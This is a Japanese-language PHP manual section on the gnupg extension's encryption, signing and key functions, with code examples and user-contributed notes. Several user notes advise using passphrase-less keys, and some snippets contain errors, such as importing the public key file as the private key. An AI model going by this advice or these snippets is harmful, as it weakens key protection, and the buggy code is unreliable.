  • gnupg_clearencryptkeys — 事前に暗号化のために設定されたすべてのキーを削除する
  • gnupg_clearsignkeys — 事前に署名のために設定されたすべてのキーを削除する
  • gnupg_decrypt — 指定されたテキストを復号する
  • gnupg_decryptverify — 指定されたテキストを復号し、検証する
  • gnupg_encrypt — 指定したテキストを暗号化する
  • gnupg_encryptsign — 指定したテキストを暗号化し、署名する
  • gnupg_export — キーをエクスポートする
  • gnupg_geterror — 関数が失敗した場合にエラー文字列を返す
  • gnupg_getprotocol — すべての操作で現在アクティブなプロトコルを返す
  • gnupg_import — キーをインポートする
  • gnupg_init — 接続を初期化する
  • gnupg_keyinfo — 指定したパターンに一致するすべてのキーについての情報を配列で返す
  • gnupg_setarmor — armor 形式を切り替える
  • gnupg_seterrormode — エラー報告モードを設定する
  • gnupg_setsignmode — 署名方式を設定する
  • gnupg_sign — 指定したテキストに署名する
  • gnupg_verify — 署名済みテキストを検証する

User Contributed Notes

web at rlauzier dot com 29-Aug-2013 03:48
The function for listing all key signatures is also missing from the list...

gnupg_listsignatures

Examples:

$gpg = new gnupg();
$result = $gpg->listsignatures($fingerprint);

$gpg = gnupg_init();
$result = gnupg_listsignatures($gpg, $fingerprint);
phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 09:20
There's a function/method missing in the list.

gnupg_deletekey

(no version information, might be only in CVS)

gnupg_deletekey -- Delete a key

Description

bool gnupg_deletekey ( resource identifier, string key, [bool allowsecret]  )

Deletes the key from the keyring. If allowsecret is not set or FALSE it will fail on deleting secret keys.

Return Values

On success, this function returns TRUE. On failure, this function returns FALSE.

Examples

Example 1. Procedural gnupg_deletekey() example

<?php
$res = gnupg_init();
gnupg_deletekey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example 2. OO gnupg_deletekey() example
<?php
$gpg = new gnupg();
$gpg -> deletekey("8660281B6051D071D94B5B230549F9DC851566DC");
?>


復号のためのキーを追加する

  • ≪ GnuPG 関数
  • gnupg_addencryptkey ≫
  • PHP Manual
  • GnuPG 関数
  • 復号のためのキーを追加する

gnupg_adddecryptkey

(PECL gnupg >= 0.5)

gnupg_adddecryptkey — 復号のためのキーを追加する

説明

gnupg_adddecryptkey ( resource $identifier , string $fingerprint , string $passphrase ) : bool

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

fingerprint

フィンガープリントキー。

passphrase

パスフレーズ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 手続き型の gnupg_adddecryptkey() の例

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

例2 オブジェクト指向の gnupg_adddecryptkey() の例

<?php
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

There are no user contributed notes for this page.


暗号化のためのキーを追加する

  • ≪ gnupg_adddecryptkey
  • gnupg_addsignkey ≫
  • PHP Manual
  • GnuPG 関数
  • 暗号化のためのキーを追加する

gnupg_addencryptkey

(PECL gnupg >= 0.5)

gnupg_addencryptkey — 暗号化のためのキーを追加する

説明

gnupg_addencryptkey ( resource $identifier , string $fingerprint ) : bool

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

fingerprint

フィンガープリントキー。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 手続き型の gnupg_addencryptkey() の例

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

例2 オブジェクト指向の gnupg_addencryptkey() の例

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

su at aboynamedsu dot net 14-Aug-2013 10:48
When you've successfully installed gnupg, you should define the GNUPGHOME environment variable and make sure the directory is writeable by the Apache user.

<?php
    putenv("GNUPGHOME=/var/www/example.com/.gnupg");
?>
php at cdauth dot de 02-Dec-2007 06:39
In this case, $fingerprint is the fingerprint of the public key whose private key shall be able to decrypt the text. The private key that you want to encrypt the text with has to be loaded via gnupg_addsignkey().


署名のためのキーを追加する

  • ≪ gnupg_addencryptkey
  • gnupg_cleardecryptkeys ≫
  • PHP Manual
  • GnuPG 関数
  • 署名のためのキーを追加する

gnupg_addsignkey

(PECL gnupg >= 0.5)

gnupg_addsignkey — 署名のためのキーを追加する

説明

gnupg_addsignkey ( resource $identifier , string $fingerprint , string $passphrase = ? ) : bool

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

fingerprint

フィンガープリントキー。

passphrase

パスフレーズ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 手続き型の gnupg_addsignkey() の例

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

例2 オブジェクト指向の gnupg_addsignkey() の例

<?php
$gpg = new gnupg();
$gpg -> addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

php at cdauth dot de 13-May-2008 11:39
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.


事前に復号のために設定されたすべてのキーを削除する

  • ≪ gnupg_addsignkey
  • gnupg_clearencryptkeys ≫
  • PHP Manual
  • GnuPG 関数
  • 事前に復号のために設定されたすべてのキーを削除する

gnupg_cleardecryptkeys

(PECL gnupg >= 0.5)

gnupg_cleardecryptkeys — 事前に復号のために設定されたすべてのキーを削除する

説明

gnupg_cleardecryptkeys ( resource $identifier ) : bool

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 手続き型の gnupg_cleardecryptkeys() の例

<?php
$res = gnupg_init();
gnupg_cleardecryptkeys($res);
?>

例2 オブジェクト指向の gnupg_cleardecryptkeys() の例

<?php
$gpg = new gnupg();
$gpg -> cleardecryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


事前に暗号化のために設定されたすべてのキーを削除する

  • ≪ gnupg_cleardecryptkeys
  • gnupg_clearsignkeys ≫
  • PHP Manual
  • GnuPG 関数
  • 事前に暗号化のために設定されたすべてのキーを削除する

gnupg_clearencryptkeys

(PECL gnupg >= 0.5)

gnupg_clearencryptkeys — 事前に暗号化のために設定されたすべてのキーを削除する

説明

gnupg_clearencryptkeys ( resource $identifier ) : bool

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 手続き型の gnupg_clearencryptkeys() の例

<?php
$res = gnupg_init();
gnupg_clearencryptkeys($res);
?>

例2 オブジェクト指向の gnupg_clearencryptkeys() の例

<?php
$gpg = new gnupg();
$gpg -> clearencryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


事前に署名のために設定されたすべてのキーを削除する

  • ≪ gnupg_clearencryptkeys
  • gnupg_decrypt ≫
  • PHP Manual
  • GnuPG 関数
  • 事前に署名のために設定されたすべてのキーを削除する

gnupg_clearsignkeys

(PECL gnupg >= 0.5)

gnupg_clearsignkeys — 事前に署名のために設定されたすべてのキーを削除する

説明

gnupg_clearsignkeys ( resource $identifier ) : bool

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 手続き型の gnupg_clearsignkeys() の例

<?php
$res = gnupg_init();
gnupg_clearsignkeys($res);
?>

例2 オブジェクト指向の gnupg_clearsignkeys() の例

<?php
$gpg = new gnupg();
$gpg -> clearsignkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


指定されたテキストを復号する

  • ≪ gnupg_clearsignkeys
  • gnupg_decryptverify ≫
  • PHP Manual
  • GnuPG 関数
  • 指定されたテキストを復号する

gnupg_decrypt

(PECL gnupg >= 0.1)

gnupg_decrypt — 指定されたテキストを復号する

説明

gnupg_decrypt ( resource $identifier , string $text ) : string

事前に gnupg_adddecryptkey で設定されたキーを使用し、指定されたテキストを復号します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

text

復号したいテキスト。

返り値

成功した場合、この関数は復号されたテキストを返します。 失敗した場合、この関数は false を返します。

例

例1 手続き型の gnupg_decrypt() の例

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = gnupg_decrypt($res,$encrypted_text);
echo $plain;
?>

例2 オブジェクト指向の gnupg_decrypt() の例

<?php
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = $gpg -> decrypt($encrypted_text);
echo $plain;
?>

User Contributed Notes

bobby545 at op dot pl 02-Sep-2018 06:05
there is mistake in  description of object way, it said it is gnu_encrypt example not decrypt
Terra 03-Jun-2018 11:11
An update in regards to comments from 'yougot' and 'Mike'.

I have just submitted a pull request that should fix the 'passphrase' issue where the internal callback wasn't being called thereby triggering pinentry.

The pull request is at:  https://github.com/php-gnupg/php-gnupg/pull/15

This fix will also work for the current 1.4.0 release:  https://github.com/TerraTech/php-gnupg/tree/fix_adddecryptkey_passphrase-1.4.0

Hope that helps.
yougot at haxed dot com 28-Jul-2016 04:45
In regards to Mike's comments around passphrases not working correctly in v2, that's not entirely correct. If you want a PHP file to run without having to manually enter in your PGP passphrase you have to follow the steps outlined @ https://wiki.archlinux.org/index.php/GnuPG#Unattended_passphrase

Hope it helps.
aidukas at gmail dot com 01-Apr-2014 09:02
If empty text is encrypted, the gnupg_decrypt() function will return a boolean FALSE so if you do a strict comparison (===, !==) to track a failure it will trigger you a failure.
For failures use Exceptions:
<?php
        $gpg = new gnupg();
        $gpg->seterrormode(gnupg::ERROR_EXCEPTION);
        /*
         .......further code.......
       */
        try {
            $string = $gpg->decrypt($stringToDecrypt);
        } catch (Exception $e) {
         // do the Error processing
        }

?>
Mike 28-Jan-2010 03:26
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.


指定されたテキストを復号し、検証する

  • ≪ gnupg_decrypt
  • gnupg_encrypt ≫
  • PHP Manual
  • GnuPG 関数
  • 指定されたテキストを復号し、検証する

gnupg_decryptverify

(PECL gnupg >= 0.2)

gnupg_decryptverify — 指定されたテキストを復号し、検証する

説明

gnupg_decryptverify ( resource $identifier , string $text , string &$plaintext ) : array

指定したテキストを復号・検証し、署名の情報を返します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

text

復号したいテキスト。

plaintext

plaintext には復号したテキストが格納されます。

返り値

成功した場合、この関数は署名の情報を返し、復号されたテキストを plaintext に保存します。 失敗した場合、この関数は false を返します。

例

例1 手続き型の gnupg_decryptverify() の例

<?php
$plaintext = "";
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = gnupg_decryptverify($res,$text,$plaintext);
print_r($info);
?>

例2 オブジェクト指向の gnupg_decryptverify() の例

<?php
$plaintext = "";
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = $gpg -> decryptverify($text,$plaintext);
print_r($info);
?>

User Contributed Notes

There are no user contributed notes for this page.


指定したテキストを暗号化する

  • ≪ gnupg_decryptverify
  • gnupg_encryptsign ≫
  • PHP Manual
  • GnuPG 関数
  • 指定したテキストを暗号化する

gnupg_encrypt

(PECL gnupg >= 0.1)

gnupg_encrypt — 指定したテキストを暗号化する

説明

gnupg_encrypt ( resource $identifier , string $plaintext ) : string

事前に gnupg_addencryptkey で設定したキーを使用し、指定されたテキストを暗号化します。暗号化された テキストを返します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

plaintext

暗号化したいテキスト。

返り値

成功した場合、この関数は暗号化されたテキストを返します。 失敗した場合、この関数は false を返します。

例

例1 手続き型の gnupg_encrypt() の例

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
$enc = gnupg_encrypt($res, "just a test");
echo $enc;
?>

例2 オブジェクト指向の gnupg_encrypt() の例

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$enc = $gpg -> encrypt("just a test");
echo $enc;
?>

User Contributed Notes

emiliocolombo3 at gmail dot com 23-Jun-2016 02:36
Examples

Getting Key Information

<?php
putenv('GNUPGHOME=/home/sender/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// get list of keys containing string 'example'
try {
  $keys = $gpg->keyinfo('example');
  print_r($info);
} catch (Exception $e) {
  echo 'ERROR: ' . $e->getMessage();
}
?>

Encrypt a Simple Mail

<?php
// set path to keyring directory
// set path to keyring directory
putenv('GNUPGHOME=/home/sender/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// recipient's email address
$recipient = 'dgar@example.org';

// plaintext message
$plaintext =
"Dear Dave,\n
  The answer is 42.\n
John";

// find key matching email address
// encrypt plaintext message
// display and also write to file
try {
  $gpg->addencryptkey($recipient);
  $ciphertext = $gpg->encrypt($plaintext);
  echo '<pre>' . $ciphertext . '</pre>';
  file_put_contents('/tmp/ciphertext.gpg', $ciphertext);
} catch (Exception $e) {
  die('ERROR: ' . $e->getMessage());
}
?>

Decryption The Mail

<?php
// set path to keyring directory
putenv('GNUPGHOME=/home/recipient/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// recipient's email address
$recipient = 'dgar@example.org';

// ciphertext message
$ciphertext = file_get_contents('/tmp/ciphertext.gpg');

// register secret key by providing passphrase
// decrypt ciphertext with secret key
// display plaintext message
try {
  $gpg->adddecryptkey($recipient, 'guessme');
  $plaintext = $gpg->decrypt($ciphertext);
  echo '<pre>' . $plaintext . '</pre>';
} catch (Exception $e) {
  die('ERROR: ' . $e->getMessage());
}
?>
Mahbub Kabir 08-Apr-2014 11:38
// to generate a key type in gpg --gen-key in the command line
// to export public key gpg --export -a "User Name" > public.key

<?php
putenv("GNUPGHOME=/tmp");

// it assumes public key exists in the /tmp/keys folder
$publicKey = file_get_contents(getenv('GNUPGHOME') . '/keys/public.key');

    $gpg = new gnupg();
    $gpg->seterrormode(gnupg::ERROR_EXCEPTION);
    $info = $gpg->import($publicKey);
    $gpg->addencryptkey($info['fingerprint']);

    $uploadFileContent = file_get_contents('/tmp/file-to-encrypt');
    $enc = $gpg->encrypt($uploadFileContent);
    echo $enc

Hope this helps
nick johnson 17-Apr-2008 11:44
After spending some time trying to get this extension to work, I've found that you have to have the GNUPGHOME environment variable set so that the keychain can be found, and have it set equal to the .gnupg directory itself, not the apache/httpd user's home directory (which is what is shown in dan's example code).  below is an example of this and a simple function I was working on at the time to encrypt a piece of data for storage in a database.

<?php
    // set the environment so gnupg can find the keyring
    putenv("GNUPGHOME=/home/apache/.gnupg");

    function encrypt_string($str,$fingerprint) {
        $res = gnupg_init();
        gnupg_addencryptkey($res,$fingerprint);
        $enc = gnupg_encrypt($res, $str);
        return $enc;
    }
?>
dan at f-box dot org 19-Feb-2008 07:20
This is a simple example of a Procedural use of import addencryptkey and encrypt. Obviously in a real world use you would only be importing the key once.

<?php

putenv("GNUPGHOME=/tmp");
$pubkey = "-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.6 (GNU/Linux)

mQGiBEe68W8RBACVuFuv4d+roDSCdRO1SuO8dQwds4VTjVOqgVKQtq6+8Fe95RY8
BAf1IyLj4bxvWPhr0wZdVwTosD/sFoPtdCyhVcF932nP0GLHsTEeVwSz9mid22HI
O4Kmwj2kE+I+C9QdzAg0zaWQnVaF9UC7pIdMR6tEnADI8nkVDdZ+zb2ziwCg6Yqu
tk3KAzKRT1SNUzTE/n9y2PED/1tIWiXfGBGzseX0W/e1G+MjuolWOXv4BXeiFGmn
8wnHsQ4Z4Tzk+ag0k+6pZZXjcL6Le486wpZ9MAe6LM31XDpQDVtyCL8t63nvQpB8
TUimbseBZMb3TytCubNLGFe5FnNLGDciElcD09d2xC6Xv6zE2jj4GtBW1bXqYWtl
jm0PA/4u6av6o6pIgLRfAawspr8kaeZ8+FU4NbIiS6xZmBUEQ/o7q95VKGgFVKBi
ugDOlnbgSzBIwSlsRVT2ivu/XVWnhQaRCotSm3AzOc2XecqrJ6F1gqk0n+yP/1h1
yeTvvfS5zgqNTG2UmovjVsKFzaDqmsYZ+sYfwc209z9PY+6FuLQnQXBhY2hlVGVz
dCAoVGVzdGluZykgPGFwYWNoZUBsb2NhbGhvc3Q+iF4EExECAB4FAke68W8CGwMG
CwkIBwMCAxUCAwMWAgECHgECF4AACgkQJE9COu2PFIEGDwCglArzAza13xjbdR04
DQ1U9FWQhMYAnRrWQeGTRm+BYm6SghNpDOKcmMqruQENBEe68XAQBADPIO+JFe5t
BQmI4l60bNMNSUqsL0TtIP8G6Bpd8q2xBOemHCLfGT9Y5DN6k0nneBQxajSfWBQ5
ZdKFwV5ezICz9fnGisEf9LPSwctfUIcvumbcPPsrUOUZX7BuCHrcfy1nebS3myO/
ScTKpW8Wz8AjpKTBG55DMkXSvnx+hS+PEwADBQP/dNnVlKYdNKA70B4QTEzfvF+E
5lyiauyT41SQoheTMhrs/3RIqUy7WWn3B20aTutHWWYXdYV+E85/CarhUmLNZGA2
tml1Mgl6F2myQ/+MiKi/aj9NVhcuz38OK/IAze7kNJJqK+UEWblB2Wfa31/9nNzv
ewVHa1xHtUyVDaewAACISQQYEQIACQUCR7rxcAIbDAAKCRAkT0I67Y8UgRwEAKDT
L6DwyEZGLTpAqy2OLUH7SFKm2ACgr3tnPuPFlBtHx0OqY4gGiNMJHXE=
=jHPH
-----END PGP PUBLIC KEY BLOCK-----";

$enc = (null);
$res = gnupg_init();
echo "gnupg_init RTV = <br/><pre>\n";
var_dump($res);
echo "</pre>\n";
$rtv = gnupg_import($res, $pubkey);
echo "gnupg_import RTV = <br/><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$rtv = gnupg_addencryptkey($res, "C25F29936D9046D73A77DCF8244F423AED8F1481");
echo "gnupg_addencryptkey RTV = <br /><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$enc = gnupg_encrypt($res, "just a test to see if anything works");
echo "Encrypted Data: " . $enc . "<br/>";

?>
paul at cressbrook dot co dot uk 14-Feb-2007 04:52
Hi

I found that the apache or httpd user (or whichever user the webserver is using to run) needed to have write access to the .gnupg directory for the gnupg_php functions to work. This could be your problem.  It seems a rather unsatisfactory feature of this module - gnupg keeps giving warnings that it is unsafe.
jkushner at livemercial dot com 03-Jan-2007 11:49
Very nice function, yet I cant seem to get it to work correctly.
Here is what I have..

/**
 * Test Values. Will be grabbed from database.
 */
$_STR_recipientKeyId='78F21BCA81042C23';

// This is a wrapper class I made that engulfs the gnupg class
if(!class_exists('core_Gnupg')){
    require(CORE_PATH_CLASS.'Gnupg.class.php');
}

//$_OBJ_gpg is just an instantiation of that class.
//returnInfo takes in the userID name, and uses the keyinfo() //function to return an array of data for that user.
$_ARR_keyinfo=$_OBJ_gpg->returnInfo($_STR_recipientUserId);

//now I have the fully functional userid
//ex: Jonathan Kushner <jkushner@livemercial.com>
$_STR_recipientUserId=$_ARR_keyinfo[0]['uids'][0]['uid'];

###########################

See, originally I was using the fingerprint from the $_ARR_keyinfo above and passing that into the encrypt function, but it still associated the encrypted data with my personal private key that I have associated with apache.

Any ideas?


指定したテキストを暗号化し、署名する

  • ≪ gnupg_encrypt
  • gnupg_export ≫
  • PHP Manual
  • GnuPG 関数
  • 指定したテキストを暗号化し、署名する

gnupg_encryptsign

(PECL gnupg >= 0.2)

gnupg_encryptsign — 指定したテキストを暗号化し、署名する

説明

gnupg_encryptsign ( resource $identifier , string $plaintext ) : string

事前に gnupg_addsignkey および gnupg_addencryptkey で設定したキーを使用し、指定した plaintext を暗号化・署名します。暗号化・署名済みのテキストを返します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

plaintext

暗号化したいテキスト。

返り値

成功した場合、この関数は暗号化されて署名されたテキストを返します。 失敗した場合、この関数は false を返します。

例

例1 手続き型の gnupg_encryptsign() の例

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = gnupg_encryptsign($res, "just a test");
echo $enc;
?>

例2 オブジェクト指向の gnupg_encryptsign() の例

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$gpg -> addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = $gpg -> encryptsign("just a test");
echo $enc;
?>

User Contributed Notes

There are no user contributed notes for this page.


キーをエクスポートする

  • ≪ gnupg_encryptsign
  • gnupg_geterror ≫
  • PHP Manual
  • GnuPG 関数
  • キーをエクスポートする

gnupg_export

(PECL gnupg >= 0.1)

gnupg_export — キーをエクスポートする

説明

gnupg_export ( resource $identifier , string $fingerprint ) : string

キーの fingerprint をエクスポートします。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

fingerprint

フィンガープリントキー。

返り値

成功した場合、この関数はキーのデータを返します。 失敗した場合、この関数は false を返します。

例

例1 Procedural gnupg_export() example

<?php
$res = gnupg_init();
$export = gnupg_export($res,"8660281B6051D071D94B5B230549F9DC851566DC");
echo $export;
?>

例2 OO gnupg_export() example

<?php
$gpg = new gnupg();
$export = $gpg -> export("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

php at cdauth dot de 02-Dec-2007 02:21
Just to ensure you, because it is not mentioned in the manual: of course, only the public key is exported, even if you have the private key in your keyring.


関数が失敗した場合にエラー文字列を返す

  • ≪ gnupg_export
  • gnupg_getprotocol ≫
  • PHP Manual
  • GnuPG 関数
  • 関数が失敗した場合にエラー文字列を返す

gnupg_geterror

(PECL gnupg >= 0.1)

gnupg_geterror — 関数が失敗した場合にエラー文字列を返す

説明

gnupg_geterror ( resource $identifier ) : string

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

返り値

エラーが発生した場合にエラー文字列、それ以外の場合に false を返します。

例

例1 手続き型の gnupg_geterror() の例

<?php
$res = gnupg_init();
echo gnupg_geterror($res);
?>

例2 オブジェクト指向の gnupg_geterror() の例

<?php
$gpg = new gnupg();
echo $gpg -> geterror();
?>

User Contributed Notes

There are no user contributed notes for this page.


すべての操作で現在アクティブなプロトコルを返す

  • ≪ gnupg_geterror
  • gnupg_import ≫
  • PHP Manual
  • GnuPG 関数
  • すべての操作で現在アクティブなプロトコルを返す

gnupg_getprotocol

(PECL gnupg >= 0.1)

gnupg_getprotocol — すべての操作で現在アクティブなプロトコルを返す

説明

gnupg_getprotocol ( resource $identifier ) : int

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

返り値

現在アクティブなプロトコルを返します。結果は GNUPG_PROTOCOL_OpenPGP あるいは GNUPG_PROTOCOL_CMS のいずれかとなります。

例

例1 手続き型の gnupg_getprotocol() の例

<?php
$res = gnupg_init();
echo gnupg_getprotocol($res);
?>

例2 オブジェクト指向の gnupg_getprotocol() の例

<?php
$gpg = new gnupg();
echo $gpg -> getprotocol();
?>

User Contributed Notes

There are no user contributed notes for this page.


キーをインポートする

  • ≪ gnupg_getprotocol
  • gnupg_init ≫
  • PHP Manual
  • GnuPG 関数
  • キーをインポートする

gnupg_import

(PECL gnupg >= 0.3)

gnupg_import — キーをインポートする

説明

gnupg_import ( resource $identifier , string $keydata ) : array

キー keydata をインポートし、インポート処理に ついての情報を配列で返します。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

keydata

インポートしたいキーのデータ。

返り値

成功した場合、この関数はインポート処理の情報を配列で返します。 失敗した場合、この関数は false を返します。

例

例1 手続き型の gnupg_import() の例

<?php
$res = gnupg_init();
$info = gnupg_import($res,$keydata);
print_r($info);
?>

例2 オブジェクト指向の gnupg_import() の例

<?php
$gpg = new gnupg();
$info = $gpg -> import($keydata);
print_r($info);
?>

User Contributed Notes

dimitri at digirati dot com dot br 03-Oct-2008 07:54
I recommend that the key may be generated in shell command line, then you export the keys using this group of commands.

gpg --export -a "User Name" > public.key
gpg --export-secret-key -a "User Name" > private.key

to use it, at the import and use it for encryption and decryption.

<?php

$GnuPG = new gnupg();

$PublicData = file_get_contents('public.key');
$PrivateData = file_get_contents('public.key');

$PublicKey = $GnuPG->import($PublicData);
$PrivateKey = $GnuPG->import($PrivateData);

echo 'Public Key : ',$PublicKey['fingerprint'],' & Private Key : ',$PrivateKey['fingerprint'];

?>
php at cdauth dot de 02-Dec-2007 07:33
The return array consists of the following values:
(
  [imported] => (int),
  [unchanged] => (int),
  [newuserids] => (int),
  [newsubkeys] => (int),
  [secretimported] => (int),
  [secretunchanged] => (int),
  [newsignatures] => (int),
  [skippedkeys] => (int),
  [fingerprint] => (string)
)

When invalid content is passed, all values, even skippedkeys, is 0. The fingerprint value does not exist then.


接続を初期化する

  • ≪ gnupg_import
  • gnupg_keyinfo ≫
  • PHP Manual
  • GnuPG 関数
  • 接続を初期化する

gnupg_init

(PECL gnupg >= 0.4)

gnupg_init — 接続を初期化する

説明

gnupg_init ( ) : resource

パラメータ

この関数にはパラメータはありません。

返り値

GnuPG 接続リソースを返します。これを他の GnuPG 関数で使用します。

例

例1 手続き型の gnupg_init() の例

<?php
$res = gnupg_init();
?>

例2 オブジェクト指向の gnupg の初期化の例

<?php
$gpg = new gnupg();
?>

User Contributed Notes

der_axel at gmx dot de 10-Nov-2017 08:26
Set the correct GNUPG environment, before you call gnupg_init()!

The current FPM/FastCGI/Module User must have read - if you import write - permissions on that directory. You won't get an error message, if something is not correct.
Without a correct environment, all other gnupg functions will not work as you expected.

<?php
// Enter your .gnupg environment
putenv('GNUPGHOME=/var/www/vhosts/yourdomain/.gnupg');
error_reporting(E_ALL);
$res = gnupg_init();
gnupg_seterrormode($res,GNUPG_ERROR_WARNING);
$info = gnupg_keyinfo($res, 'your-key-id');
echo "Key - Info<pre>";
var_dump($info);
echo "</pre>";
?>


指定したパターンに一致するすべてのキーについての情報を配列で返す

  • ≪ gnupg_init
  • gnupg_setarmor ≫
  • PHP Manual
  • GnuPG 関数
  • 指定したパターンに一致するすべてのキーについての情報を配列で返す

gnupg_keyinfo

(PECL gnupg >= 0.1)

gnupg_keyinfo — 指定したパターンに一致するすべてのキーについての情報を配列で返す

説明

gnupg_keyinfo ( resource $identifier , string $pattern ) : array

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

pattern

キーに対してチェックを行いたいパターン。

返り値

指定したパターンに一致するすべてのキーについての情報を配列で返します。 エラーが発生した場合は false を返します。

例

例1 手続き型の gnupg_keyinfo() の例

<?php
$res = gnupg_init();
$info = gnupg_keyinfo($res, 'test');
print_r($info);
?>

例2 オブジェクト指向の gnupg_keyinfo() の例

<?php
$gpg = new gnupg();
$info = $gpg -> keyinfo("test");
print_r($info);
?>

User Contributed Notes

gtisza at gmail dot com 01-Aug-2015 01:31
Returns an array of information blocks. An information block looks like
<?php
array (
    'disabled' => <bool>,
    'expired' => <bool>,
    'revoked' => <bool>,
    'is_secret' => <bool>,
    'can_sign' => <bool>,
    'can_encrypt' => <bool>,
    'uids' => <array of uid blocks>,
    'subkeys' => <array of subkey blocks>,
)
?>
An uid data block looks like
<?php
array (
    'name' => <string>,
    'comment' => <string>,
    'email' => <string>,
    'uid' => <string>,
    'revoked' => <bool>,
    'invalid' => <bool>,
)
?>
A subkey block looks like
<?php
array (
    'fingerprint' => <string>,
    'keyid' => <string>,
    'timestamp' => <int>,
    'expires' => <int>,
    'is_secret' => <bool>,
    'invalid' => <bool>,
    'can_encrypt' => <bool>,
    'can_sign' => <bool>,
    'disabled' => <bool>,
    'expired' => <bool>,
    'revoked' => <bool>,
),
?>
fauger at NOSPAM dot anonymous dot com 04-Jul-2013 07:54
You CAN list all keys in the keyring, you only have to pass an empty string ''.

<?php
$gpg = new gnupg();
$info = $gpg -> keyinfo('');
print_r($info);
?>

That's it! ;)
porjo38 at yahoo dot com dot au 19-Feb-2013 10:00
It appears that listing *all* keys is not possible:

<?php
$gpg -> keyinfo();   // throws an error
$gpg -> keyinfo('*');  // is matched literally, not treated as a shell wildcard
$gpg -> keyinfo('.*');  // is matched literally, not treated as a regex wildcard
?>

This seems like a glaring omission to me.


armor 形式を切り替える

  • ≪ gnupg_keyinfo
  • gnupg_seterrormode ≫
  • PHP Manual
  • GnuPG 関数
  • armor 形式を切り替える

gnupg_setarmor

(PECL gnupg >= 0.1)

gnupg_setarmor — armor 形式を切り替える

説明

gnupg_setarmor ( resource $identifier , int $armor ) : bool

armor 形式の出力を切り替えます。

パラメータ

identifier

gnupg_init() あるいは gnupg のコールで得られた gnupg ID。

armor

ゼロ以外の整数値をこの関数に渡すと、armor 形式の出力を有効にします (デフォルト)。 0 を渡すと、armor 形式の出力を無効にします。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 手続き型の gnupg_setarmor() の例

<?php
$res = gnupg_init();
gnupg_setarmor($res,1); // enable armored output;
gnupg_setarmor($res,0); // disable armored output;
?>

例2 オブジェクト指向の gnupg_setarmor() の例

<?php
$gpg = new gnupg();
